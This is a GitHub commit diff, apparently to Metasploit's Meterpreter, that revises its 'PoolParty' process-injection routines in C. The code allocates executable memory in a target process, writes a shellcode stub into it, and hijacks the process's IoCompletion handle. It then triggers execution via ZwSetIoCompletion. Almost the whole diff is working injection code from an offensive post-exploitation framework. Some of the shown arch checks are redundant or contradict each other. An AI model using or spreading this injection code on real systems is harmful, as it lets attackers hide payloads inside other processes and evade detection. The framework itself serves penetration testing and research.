Skip to content

Commit

Permalink
fix(injection): review changes
Browse files Browse the repository at this point in the history
  • Loading branch information
dledda-r7 committed Oct 3, 2024
1 parent 14f0026 commit 93de0b4
Show file tree
Hide file tree
Showing 4 changed files with 79 additions and 79 deletions.
3 changes: 0 additions & 3 deletions c/meterpreter/source/metsrv/base_dispatch.c
Original file line number Diff line number Diff line change
Expand Up @@ -699,9 +699,6 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
}
}
}
else {

}
} while (0);

SAFE_FREE(config);
Expand Down
96 changes: 44 additions & 52 deletions c/meterpreter/source/metsrv/base_inject.c
Original file line number Diff line number Diff line change
Expand Up @@ -504,9 +504,8 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces
}

DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) {
// TODO: Use specific variant for different targets.
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
DWORD dwTechnique = MIGRATE_TECHNIQUE_POOLPARTY;
HANDLE hThread = NULL;
LPVOID lpPoolPartyStub;
POOLPARTYCONTEXT ctx = { 0 };
Expand All @@ -517,8 +516,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW

LPVOID lpStub = NULL;
DWORD dwStubSize = 0;

DWORD dwPoolPartyVariant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION;
HANDLE hHeap = GetProcessHeap();


Expand All @@ -530,64 +527,59 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW

do
{

if (TRUE) {
if (dwDestinationArch == PROCESS_ARCH_X64) {
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64");
lpStub = &poolparty_stub_x64;
dwStubSize = sizeof(poolparty_stub_x64) - 1;
}
else {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on x86 targets (yet)!", ERROR_POOLPARTY_GENERIC);
}

if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86)) {
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64");
lpStub = &poolparty_stub_x64;
dwStubSize = sizeof(poolparty_stub_x64) - 1;
}
else {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_POOLPARTY_GENERIC);
}

hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!hTriggerEvent)
{
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed");
}
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!hTriggerEvent)
{
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed");
}

// Duplicate the event handle for the target process
if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed");
}
// Duplicate the event handle for the target process
if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed");
}

lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent);
if (!lpPoolPartyStub) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
}
if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
}
lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent);
if (!lpPoolPartyStub) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
}

if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
}

if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
}
if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!", ERROR_POOLPARTY_GENERIC);
}

for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) {
if (poolparty->variants[variant].isInjectionSupported) {
for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) {
if (poolparty->variants[variant].isInjectionSupported) {
#ifdef DEBUGTRACE
char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = {
"POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION",
};
dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]);
char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = {
"POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION",
};
dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]);
#endif
dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent);
if (dwResult == ERROR_SUCCESS) {
dprintf("[INJECT] inject_via_poolparty: injectied!");
break;
}
dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent);
if (dwResult == ERROR_SUCCESS) {
dprintf("[INJECT] inject_via_poolparty: injected!");
break;
}
}
if (dwResult != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC)
}
}
else {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: this technique doesn't work on wow64", ERROR_POOLPARTY_GENERIC)
if (dwResult != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC)
}

if (remote && response)
Expand Down
6 changes: 3 additions & 3 deletions c/meterpreter/source/metsrv/base_inject.h
Original file line number Diff line number Diff line change
Expand Up @@ -72,19 +72,19 @@ typedef struct _POOLPARTYCONTEXT
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
BYTE bPadding[8];
} s;

union
{
LPVOID lpParameter;
BYTE bPadding2[8];
BYTE bPadding[8];
} p;

union
{
LPVOID hTriggerEvent;
BYTE bPadding2[8];
BYTE bPadding[8];
} e;

} POOLPARTYCONTEXT, * LPPOOLPARTYCONTEXT;
Expand Down
53 changes: 32 additions & 21 deletions c/meterpreter/source/metsrv/pool_party.c
Original file line number Diff line number Diff line change
Expand Up @@ -18,9 +18,19 @@ pNtDll* GetOrInitNtDll() {
ntdll = (pNtDll*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(pNtDll));
bError = ntdll == NULL;
if (!bError) {
HMODULE hNtDll = LoadLibraryA("ntdll.dll");
HMODULE hNtDll = NULL;
hNtDll = GetModuleHandleA("ntdll.dll");
if(hNtDll == NULL || hNtDll == INVALID_HANDLE_VALUE){
hNtDll = LoadLibraryA("ntdll.dll");
}
ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess");
ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject");

if(ntdll->pNtQueryInformationProcess == NULL || ntdll->pNtQueryObject == NULL) {
HeapFree(hHeap, 0, ntdll);
ntdll = NULL;
return ntdll;
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject);

ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion");
Expand Down Expand Up @@ -101,19 +111,17 @@ POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationAr
return poolLifeguard;
};

// For now we support only Windows 10 x64 -> Windows 10 x64
// For now we support only Windows >= 10 and x64 -> x64
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) {
OSVERSIONINFO os = { 0 };
BOOL isWow64;
IsWow64Process(GetCurrentProcess(), &isWow64);
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
NTSTATUS(*pRtlGetVersion)(OSVERSIONINFO * os) = (NTSTATUS(*)(OSVERSIONINFO * os)) GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion: %p", pRtlGetVersion);
if (!pRtlGetVersion(&os)) {
dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d isWow64: %d", dwSourceArch, dwDestinationArch, isWow64);
dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d", dwSourceArch, dwDestinationArch);
dprintf("[INJECT][supports_poolparty_injection] os.dwMajorVersion: %d os.dwMinorVersion: %d", os.dwMajorVersion, os.dwMinorVersion);
if (os.dwMajorVersion >= 10) {
if (dwDestinationArch == dwSourceArch && dwSourceArch == PROCESS_ARCH_X64) {
if (dwDestinationArch == dwSourceArch && (dwSourceArch == PROCESS_ARCH_X64 || dwSourceArch == PROCESS_ARCH_X86)) {
return TRUE;
}
}
Expand All @@ -133,8 +141,11 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)

DWORD ntStatus = 0;
lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo);

if(lpProcessInfo == NULL) {
return INVALID_HANDLE_VALUE;
}
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo);
while (TRUE) {
ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus);
Expand All @@ -144,11 +155,11 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
dwInformationSizeIn = dwInformationSizeOut;
continue;
}
if (ntStatus != 0 && ntStatus != 0xC0000004L) {
if (ntStatus != ERROR_SUCCESS && ntStatus != 0xC0000004L) {
HeapFree(hHeap, 0, lpProcessInfo);
return INVALID_HANDLE_VALUE;
}
if (ntStatus == 0) {
if (ntStatus == ERROR_SUCCESS) {
break;
}
}
Expand Down Expand Up @@ -183,41 +194,41 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
pNtDll* ntDll = NULL;
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap();
DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86;
LPVOID *Direct = NULL;

LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize);
do {
ntDll = GetOrInitNtDll();
if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (dwDestinationArch != PROCESS_ARCH_X64) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Currently only x86-64 destination arch is supported.", ERROR_POOLPARTY_VARIANT_FAILED);
}
if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, TP_DIRECT_STRUCT_SIZE_X64);
if(Direct == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);

if (hHijackHandle == INVALID_HANDLE_VALUE) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
}

if (hHijackHandle != INVALID_HANDLE_VALUE) {

if (dwDestinationArch == PROCESS_ARCH_X64) {
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
}
if (dwDestinationArch == PROCESS_ARCH_X86) {
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86 - 4) = (DWORD) PtrToPtr32(lpStartAddress);
}
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, TP_DIRECT_STRUCT_SIZE_X64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!RemoteDirectAddress) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED)
}
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) {
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, TP_DIRECT_STRUCT_SIZE_X64, NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
}
dwResult = ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult);
dwResult = 0;
dwResult = ERROR_SUCCESS;
}
} while (0);
return dwResult;
Expand Down

0 comments on commit 93de0b4

Please sign in to comment.